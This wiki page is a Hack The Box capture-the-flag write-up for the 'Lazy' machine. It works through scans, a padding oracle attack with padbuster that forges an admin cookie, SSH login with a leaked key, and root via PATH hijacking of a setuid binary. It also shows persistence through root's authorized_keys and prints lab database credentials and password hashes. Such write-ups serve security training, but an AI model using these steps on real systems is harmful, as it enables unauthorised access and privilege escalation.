Lazy

From Luniwiki
Jump to: navigation, search

Back

Lazy01.png

Ports scan

u505@kali:~/HTB/Machines/Lazy$ sudo masscan -e tun0 -p1-65535,U:1-65535 --rate 1000 10.10.10.18
[sudo] password for u505:

Starting masscan 1.0.5 at 2020-04-28 13:28:51 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.18 Discovered open port 22/tcp on 10.10.10.18
u505@kali:~/HTB/Machines/Lazy$ nmap -sC -sV 10.10.10.18
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-27 14:43 EDT
Nmap scan report for lazy.htb (10.10.10.18)
Host is up (0.038s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 e1:92:1b:48:f8:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA)
|   2048 af:a0:0f:26:cd:1a:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA)
|   256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA)
|_  256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:a4:66:b7 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: CompanyDev
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.85 seconds

Web Application

Lazy02.png

The web server serves an PHP application. The application allows us to register and login.

Lazy03.png

We register our user.

Lazy04.png

We are logged as our user.

Lazy05.png

dirsearch

Dirsearch doesn't reveal anything new.

u505@kali:~/HTB/Machines/Lazy$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/common2.txt -e "php,txt" -r 1 -f -t 50 -u http://10.10.10.18

_|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| )
Extensions: php, txt | HTTP method: get | Threads: 50 | Wordlist size: 13784 | Recursion level: 1
Error Log: /opt/utils/dirsearch/logs/errors-20-04-29_13-49-51.log
Target: http://10.10.10.18
[13:49:51] Starting: [13:49:52] 403 - 282B - /.php [13:50:00] 200 - 1KB - /classes/ [13:50:01] 200 - 1KB - /css/ [13:50:05] 200 - 51B - /footer.php [13:50:06] 200 - 734B - /header.php [13:50:06] 403 - 284B - /icons/ [13:50:07] 200 - 1KB - /images/ [13:50:07] 200 - 1KB - /index.php [13:50:07] 200 - 1KB - /index.php/ [13:50:09] 200 - 2KB - /login.php [13:50:09] 302 - 734B - /logout.php -> /index.php [13:50:15] 200 - 2KB - /register.php [13:50:16] 403 - 292B - /server-status/ [13:50:22] Starting: classes/ [13:50:23] 403 - 290B - /classes/.php [13:50:27] 302 - 0B - /classes/auth.php -> /admin/login.php [13:50:32] 200 - 0B - /classes/db.php [13:50:59] 200 - 0B - /classes/user.php [13:51:02] Starting: css/ [13:51:02] 403 - 286B - /css/.php [13:51:42] Starting: icons/ [13:51:42] 403 - 288B - /icons/.php [13:52:11] 403 - 290B - /icons/small/ [13:52:16] Starting: images/ [13:52:17] 403 - 289B - /images/.php [13:52:57] Starting: index.php/ [13:53:52] Starting: server-status/
Task Completed

Sqlmap

With Sqlmap we check if the application is vulnerable to SQL injection on the login page.

Lazy06.png

We try a login to intercept the HTTP frame.

Lazy07.png

We save the request to use it with sqlmap.

u505@kali:~/HTB/Machines/Lazy$ cat login.req
POST /login.php HTTP/1.1
Host: lazy.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://lazy.htb/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
Upgrade-Insecure-Requests: 1

username=admin&password=admin

And we run sql map

u505@kali:~/HTB/Machines/Lazy$ sqlmap -r login.req --level=4 --risk=3
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 06:07:46 /2020-04-29/
[06:07:46] [INFO] parsing HTTP request from 'login.req' [06:07:46] [INFO] testing connection to the target URL [06:07:47] [INFO] testing if the target URL content is stable ... [06:22:49] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 06:22:49 /2020-04-29/

The application doesn't seems vulnerable to SQL Injection.

Padding oracle attack

Once logged with our user, if we tamper the value of the cookie auth, we obtain "invalid padding" message.

Lazy08.png

Lazy09.png

The "invalid padding" message is an hint. The auth cookie is encrypted, and tampered value cannot be deciphered.

In cryptography, a padding oracle attack is an attack which uses the padding validation of a cryptographic message to decrypt the ciphertext. In cryptography, variable-length plaintext messages often have to be padded (expanded) to be compatible with the underlying cryptographic primitive. (see https://en.wikipedia.org/wiki/Padding_oracle_attack)

With tool padbuster, we can decipher the cookie.

u505@kali:~/HTB/Machines/Lazy$ padbuster http://lazy.htb/login.php 3mlj82KFc%2FlXWrFfCGtxfPheKBRS8shJ 8 --cookies auth=3mlj82KFc%2FlXWrFfCGtxfPheKBRS8shJ

+-------------------------------------------+ | PadBuster - v0.3.3 | | Brian Holyfield - Gotham Digital Science | | labs@gdssecurity.com | +-------------------------------------------+
INFO: The original request returned the following [+] Status: 200 [+] Location: N/A [+] Content Length: 1486
INFO: Starting PadBuster Decrypt Mode *** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
------------------------------------------------------- ID# Freq Status Length Location ------------------------------------------------------- 1 1 200 1564 N/A 2 ** 255 200 15 N/A -------------------------------------------------------
Enter an ID that matches the error condition NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (56/256) [Byte 8] [+] Success: (188/256) [Byte 7] [+] Success: (13/256) [Byte 6] [+] Success: (165/256) [Byte 5] [+] Success: (124/256) [Byte 4] [+] Success: (256/256) [Byte 3] [+] Success: (227/256) [Byte 2] [+] Success: (93/256) [Byte 1]
Block 1 Results: [+] Cipher Text (HEX): 575ab15f086b717c [+] Intermediate Bytes (HEX): ab1a06815ff046c9 [+] Plain Text: user=u50
Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1. *** Starting Block 2 of 2 ***
[+] Success: (134/256) [Byte 8] [+] Success: (140/256) [Byte 7] [+] Success: (145/256) [Byte 6] [+] Success: (245/256) [Byte 5] [+] Success: (163/256) [Byte 4] [+] Success: (80/256) [Byte 3] [+] Success: (166/256) [Byte 2] [+] Success: (150/256) [Byte 1]
Block 2 Results: [+] Cipher Text (HEX): f85e281452f2c849 [+] Intermediate Bytes (HEX): 625db6580f6c767b [+] Plain Text: 5
------------------------------------------------------- ** Finished ***
[+] Decrypted value (ASCII): user=u505
[+] Decrypted value (HEX): 757365723D7535303507070707070707
[+] Decrypted value (Base64): dXNlcj11NTA1BwcHBwcHBw==
-------------------------------------------------------

The clear value of the cookie is user=u505. Once we know that the cookie provides authentication, we can calculate the encrypted value for user=admin. We use padbuster in the encrypt mode providing the plain text that we want to cipher.

u505@kali:~/HTB/Machines/Lazy$ padbuster http://lazy.htb/login.php 3mlj82KFc%2FlXWrFfCGtxfPheKBRS8shJ 8 --cookies auth=3mlj82KFc%2FlXWrFfCGtxfPheKBRS8shJ -plaintext user=admin

+-------------------------------------------+ | PadBuster - v0.3.3 | | Brian Holyfield - Gotham Digital Science | | labs@gdssecurity.com | +-------------------------------------------+
INFO: The original request returned the following [+] Status: 200 [+] Location: N/A [+] Content Length: 1486
INFO: Starting PadBuster Encrypt Mode [+] Number of Blocks: 2
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
------------------------------------------------------- ID# Freq Status Length Location ------------------------------------------------------- 1 1 200 1564 N/A 2 ** 255 200 15 N/A -------------------------------------------------------
Enter an ID that matches the error condition NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (196/256) [Byte 8] [+] Success: (148/256) [Byte 7] [+] Success: (92/256) [Byte 6] [+] Success: (41/256) [Byte 5] [+] Success: (218/256) [Byte 4] [+] Success: (136/256) [Byte 3] [+] Success: (150/256) [Byte 2] [+] Success: (190/256) [Byte 1]
Block 2 Results: [+] New Cipher Text (HEX): 23037825d5a1683b [+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d
[+] Success: (1/256) [Byte 8] [+] Success: (36/256) [Byte 7] [+] Success: (180/256) [Byte 6] [+] Success: (17/256) [Byte 5] [+] Success: (146/256) [Byte 4] [+] Success: (50/256) [Byte 3] [+] Success: (132/256) [Byte 2] [+] Success: (135/256) [Byte 1]
Block 1 Results: [+] New Cipher Text (HEX): 0408ad19d62eba93 [+] Intermediate Bytes (HEX): 717bc86beb4fdefe
------------------------------------------------------- ** Finished ***
[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA -------------------------------------------------------

We tamper the HTTP request with the calculated encrypted value of user=admin

Lazy10.png

And the response is the page logged as admin.

Lazy11.png

As admin the page is different, A picture is added and a link appears.

User flag

We download the ssh key.

u505@kali:~/HTB/Machines/Lazy$ wget http://lazy.htb/mysshkeywithnamemitsos
--2020-04-27 15:46:16--  http://lazy.htb/mysshkeywithnamemitsos
Resolving lazy.htb (lazy.htb)... 10.10.10.18
Connecting to lazy.htb (lazy.htb)|10.10.10.18|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1679 (1.6K)
Saving to: ‘mysshkeywithnamemitsos’

mysshkeywithnamemit 100%[===================>] 1.64K --.-KB/s in 0s
2020-04-27 15:46:16 (91.4 MB/s) - ‘mysshkeywithnamemitsos’ saved [1679/1679]
u505@kali:~/HTB/Machines/Lazy$ ls -ltr total 4 -rw-r--r-- 1 u505 u505 1679 May 2 2017 mysshkeywithnamemitsos u505@kali:~/HTB/Machines/Lazy$ chmod 600 mysshkeywithnamemitsos

The name of the file allows us to guess the user name.

u505@kali:~/HTB/Machines/Lazy$ ssh -i mysshkeywithnamemitsos mitsos@lazy.htb
The authenticity of host 'lazy.htb (10.10.10.18)' can't be established.
ECDSA key fingerprint is SHA256:OJ5DTyZUGZXEpX4BKFNTApa88gR/+w5vcNathKIPcWE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'lazy.htb,10.10.10.18' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

* Documentation: https://help.ubuntu.com/
System information as of Mon Apr 27 21:46:33 EEST 2020
System load: 0.0 Memory usage: 4% Processes: 194 Usage of /: 7.6% of 18.58GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at: https://landscape.canonical.com/
Last login: Thu Jan 18 10:29:40 2018 mitsos@LazyClown:~$ cat user.txt <USER_FLAG>

Escalation of privileges

mitsos@LazyClown:~$ ls -ltr
total 20
drwxrwxr-x 4 mitsos mitsos 4096 May  2  2017 peda
-rwsrwsr-x 1 root   root   7303 May  3  2017 backup
-r--r--r-- 1 mitsos mitsos   33 Jan 18  2018 user.txt
mitsos@LazyClown:~$ file backup
backup: setuid, setgid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=33d6b5bec96c44e630f37ff41cc1c4a8b2813b6b, not stripped

There is a file backup with the setuid flag for user root set.

u505@kali:~/HTB/Machines/Lazy$ scp -i mysshkeywithnamemitsos mitsos@lazy.htb:/home/mitsos/backup ./
backup                                        100% 7303   180.7KB/s   00:00

We retrieve the file and disassemble it.

Lazy12.png

The program is extremely simple, it executes "cat /etc/shadow".

The call of the command cat is by relative path, we can tamper the environment variable PATH to execute our cat command.

mitsos@LazyClown:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
mitsos@LazyClown:~$ echo "whoami" > /tmp/cat
mitsos@LazyClown:~$ chmod +x /tmp/cat
mitsos@LazyClown:~$ export PATH=/tmp:$PATH
mitsos@LazyClown:~$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
mitsos@LazyClown:~$ ./backup
root

Instead of the command whoami, we can execute /bin/sh

mitsos@LazyClown:~$ echo "/bin/sh" > /tmp/cat
mitsos@LazyClown:~$ ./backup
# id
uid=1000(mitsos) gid=1000(mitsos) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(mitsos)
# /bin/cat /root/root.txt
<ROOT_FLAG>

It works because the OS is Ubuntu 14. On Ubuntu 16 and higher, the dash shell fallback to the calling user if the euid and the uid are different (same behavior as bash).

To gain real root access, we can copy the authorized key to the root user folder.

# cd /root
# mkdir .ssh
# cd .ssh
# cp /home/mitsos/.ssh/authorized_keys ./

And now, we can ssh as real root.

u505@kali:~/HTB/Machines/Lazy$ ssh -i mysshkeywithnamemitsos root@lazy.htb
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

* Documentation: https://help.ubuntu.com/
System information as of Wed Apr 29 22:10:47 EEST 2020
System load: 0.1 Processes: 209 Usage of /: 7.6% of 18.58GB Users logged in: 0 Memory usage: 10% IP address for eth0: 10.10.10.18 Swap usage: 0%
Graph this data and manage this system at: https://landscape.canonical.com/
Last login: Sun Dec 24 20:29:25 2017 root@LazyClown:~# id uid=0(root) gid=0(root) groups=0(root)

Alternative way to gain admin access on the web portal

After reading the code, there is a flow in the way how the user is calculated from the cookie.

 public static function getuserfromcookie($auth) {
   $passphrase = 'pntstrlb';
   $data = decryptString($auth, $passphrase);
   list($a, $user) = explode("=", $data);
   $sql = "SELECT * FROM users where login=\"";
   $sql.= mysql_real_escape_string($user);
   $sql.= "\"";
   $result = mysql_query($sql);
   if ($result) {
     if ($row = mysql_fetch_assoc($result)) {
       return $row['login'];
     }
     else {
       echo "User not found: ".htmlentities($user);
       return NULL;
     }
   }
   return NULL;
 }

The function getuserfromcookie gets the username from the encrypted cookie. But once the cookie is deciphered, the string is split using = as delimiter character. This means that if we register with a user that begins with admin=, it should do the registration and login correctly, but it should load the admin profile instead of our new user profile.

Lazy13.png

On the database, we can check the row.

root@LazyClown:/var/www/html# cat classes/db.php
<?php

$lnk = mysql_connect("localhost", "root", "sup3rs3cr3tp4ssw0rd"); $db = mysql_select_db('cbc', $lnk);
?> root@LazyClown:/var/www/html# mysql -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 44 Server version: 5.5.55-0ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | cbc | | mysql | | performance_schema | +--------------------+ 4 rows in set (0.00 sec)
mysql> use cbc; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed mysql> show tables; +---------------+ | Tables_in_cbc | +---------------+ | users | +---------------+ 1 row in set (0.00 sec)
mysql> select * from users; +-----------+----------------------------------+ | login | password | +-----------+----------------------------------+ | admin | bcd86545c5903856961fa21b914c5fe4 | | admin=bad | 5577227e8aa4f90e7dbe4195e334e5fa | | ch4p | 296dfa40ef1bd68d09a7277763a2b9b9 | | test | 6418145b5e1b524f7c1f60f13f5acc12 | | test2 | 6418145b5e1b524f7c1f60f13f5acc12 | | u505 | 78a6e4a73f898ebb9f3e546fb1cd6348 | | ZAP | b6e3f74b09377ed0485216e728545041 | +-----------+----------------------------------+ 6 rows in set (0.00 sec)
mysql> quit Bye

We log in with user admin=bad, but the application is fooled and shows the admin profile.

Lazy14.png

Of course this way is easy to guess once we can read the source code :)

References

Daniel Simao 06:32, 28 April 2020 (EDT)